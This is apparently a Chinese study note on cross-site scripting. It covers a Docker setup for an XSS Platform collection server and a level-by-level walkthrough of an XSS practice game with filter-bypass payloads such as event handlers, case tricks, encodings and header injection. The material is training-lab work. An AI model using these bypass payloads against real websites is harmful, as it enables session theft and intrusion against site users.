XSS 总结
XSS(Cross Site Script),跨站脚本攻击
XSS总结
Docker 快速搭建 XSS Platform
Github - XSS Platform 中作者给出了使用 Docker 搭建的方式,文章,做一下记录。
安装 MySQL
1 | docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=********* -d -i -p 33006:3306 mysql:5.6 |
安装 XSS Platform
1 | docker run --name xssplatform --link mysql5.6:db -d -i -p 8888:80 daxia/websafe:latest |
修改 hosts
1 | vim /etc/hosts |
添加一条记录
1 | 127.0.0.1 xss.localhost |
启动 php 和 nginx 服务
1 | docker exec xssplatform zsh -c "php /root/start.php" |
访问http://xss.localhost:8888/
打开安装页面,因为已经把 mysql 容器链接到了 xssplatform 容器,数据库地址直接填写 db 即可。
XSS闯关小游戏
level 2
搜索框中闭合 value 属性和 input 标签
1 | "><script>alert(1)</script> |
level 3
上一个方法不管用,过滤了尖括号,单引号闭合属性后用事件弹窗,注释掉后面的内容
1 | ' onclick=alert(1)// |
level 4
和上一个差不多,用双引号闭合
1 | " onclick=alert(1)// |
level 5
过滤了 script 和 on ,可以用 a 标签
1 | "><a href="javascript:alert(1)" |
level 6
还是过滤了 on 和 script href,但是可以用大小写绕过
1 | " oNclick=alert(1)// |
level 7
过滤差不多,这次会替换为空并且检测大小写,双写绕过
1 | " oonNclick=alert(1)// |
level 8
友情链接直接提供了一个 a href,但是没法直接使用javascript:alert(1)
,应该是过滤了 script,用 html 实体编码绕过
1 | javascript:alert(1) |
level 9
会检测 http 协议,过滤 script,把 http 放在注释中,用%09
绕过过滤
1 | javascr%09ipt:alert(1)//http:// |
level 10
存在隐藏的 form 表单,其中 t_sort
可以注入
1 | ?keyword=well done!&t_sort=" type="text" onclick="alert(1) |
level 11
隐藏的 form 表单,有一个 t_ref
,应该是referer。抓包改一下
1 | " type="text" onclick="alert(1) |
level 12
差不多,这次是 user-agent
1 | " type="text" onclick="alert(1) |
level 13
cookie
1 | " type="text" onclick="alert(1) |
level 14
exif XSS,用含有payload的图片触发,没法复现
level 15
Angular5 ng-include 指令,ng-include 用于包含外部 HTML 文件,包含的内容作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
1 | /level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>' |
level 16
过滤了空格、script、/
,使用%0d
,%0a
作为分隔符。
1 | ?keyword=<img%0asrc=x%0donError=alert('xss')> |
level 17
1 | ?arg01=a&arg02= onmouseover=alert(1) |
level 18
1 | ?arg01=a&arg02=b onmouseout=alert(1) |
level 19
Flash XSS,以后学习
1 | ?arg01=version&arg02=<a href="javascript:alert(1)">123</a> |
level 20
同上
1 | ?arg01=id&arg02=\22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height |